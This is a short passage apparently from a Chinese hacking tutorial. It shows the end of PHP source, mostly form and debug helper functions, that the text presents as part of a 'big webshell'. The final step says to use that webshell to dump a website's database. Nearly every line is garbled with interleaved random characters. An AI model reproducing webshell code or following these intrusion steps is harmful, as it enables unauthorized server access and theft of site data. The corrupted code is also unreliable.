& V0 B- ]; |) y5 C5 k, y) }; d - p("<p>$arg[title]<textarea class="area" id="$arg[name]" name="$arg[name]" cols="$arg[cols]" rows="$arg[rows]" $arg[extra]>$arg[value]</textarea></p>");
! k6 W, a1 s: z - }$ n. v2 {) A; c' m+ ^9 h8 u! Z
- ; X2 |, u7 t3 M+ M
- function formfooter($name = ''){
0 `" F! q: e5 V. s7 p& J4 a3 O) F - !$name && $name = 'submit';
# D, X8 W% s. T8 U. _" j - p('<p><input class="bt" name="'.$name.'" id="'.$name.'" type="submit" value="Submit"></p>');
; B1 R" _0 `- Z - p('</form>');
) H1 Y: A- B; x4 ]: d - }
2 @* O" u' Y0 A+ u - 0 k+ g2 e$ J9 B0 B/ h2 s x8 L
- function formfoot(){
' m. T# j4 ^1 ~3 m4 d, U# r1 B - p('</form>');
1 @4 h1 }7 x. X8 k( ~ - }5 q2 A' s; p6 Y, L3 x0 X
- + }* H" o' e& `( o
- // 调试函数
$ L6 m! @9 K8 x) @7 S - function pr($a) {
- _ B$ n" ^" p _8 W* I8 W - echo '<pre>';
: K% o' e9 O. l& B2 T5 L+ Y& x - print_r($a);# D& H F- r% S+ g6 A8 u; F
- echo '</pre>';
" k4 X9 G6 p/ |1 Q0 r# W1 [ - }
5 V! \7 U! D, m( S# a6 G; M - 6 c- s2 f- m2 G
- ?>
复制代码11、最后通过大码对网站数据库进行脱库
0 V$ K3 i9 N% v, U3 ^
- Z& {- q% |, F$ e5 Q: q. x) o) c- v
|